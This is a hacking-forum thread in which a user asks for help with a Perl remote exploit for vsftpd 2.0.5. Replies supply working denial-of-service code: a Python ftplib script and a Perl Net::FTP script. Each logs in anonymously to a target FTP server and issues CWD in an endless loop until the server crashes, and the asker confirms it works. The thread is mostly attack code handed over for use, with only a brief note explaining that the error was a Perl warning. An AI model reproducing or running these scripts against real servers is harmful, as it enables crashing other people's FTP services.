Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (2)

Powered by Vanilla. Made with Bootstrap.
Problem with perl script
  • Please somebody cane tell me what is wrong with this perl script .. is a remote exploit for vsftpd 2.0.5

    When i went to execute it i am getting this error ....

    Name\"main::perl\"used only once : possible typo at C:\Perl\ftp.pl


    and here is the exploit that i have used ..

    http://r00tsecurity.org/db/exploits/57


    [align=center]Thanks[/align]
  • chroniccommand
    Posts: 1,389
    All that does is connect anonymously and do cwd() infinity until it crashes which could take a long time. Anyway, here is a quick Python version I wrote up. See if this works.

    import ftplib
    host = 'changethis'
    conn = ftplib.FTP(host)
    conn.login()
    while(1):
    conn.retrlines('CWD')
  • Sh3llc0d3
    Posts: 1,910

    #!/usr/bin/perl

    use Net::FTP;
    $ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
    $ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

    while(1)
    {
    #this loop runs infinitely

    $ftp -> cwd();
    }

    $ftp->quit;




    Try that

    EDIT: Just to point out there is nothing wrong with that script. It's also just a PoC (proof of concept). The actual error you saw wasn't an error but a warning. In perl the shebang at the start letting the script know where perl is (in this case "/usr/bin/perl") can also have the "-w" bit which gives warnings thrown up by the script. Similar thing to using "use strict" and "use warnings".
  • Thanks now is working ..
  • Sh3llc0d3
    Posts: 1,910
    said:


    Thanks now is working ..



    Glad it's sorted :) let me know if you need anymore help.
  • Sh3llc0d3
    Posts: 1,910
    said:


    good semtex primed you are learning



    Sounded like something yoda would say darkgt4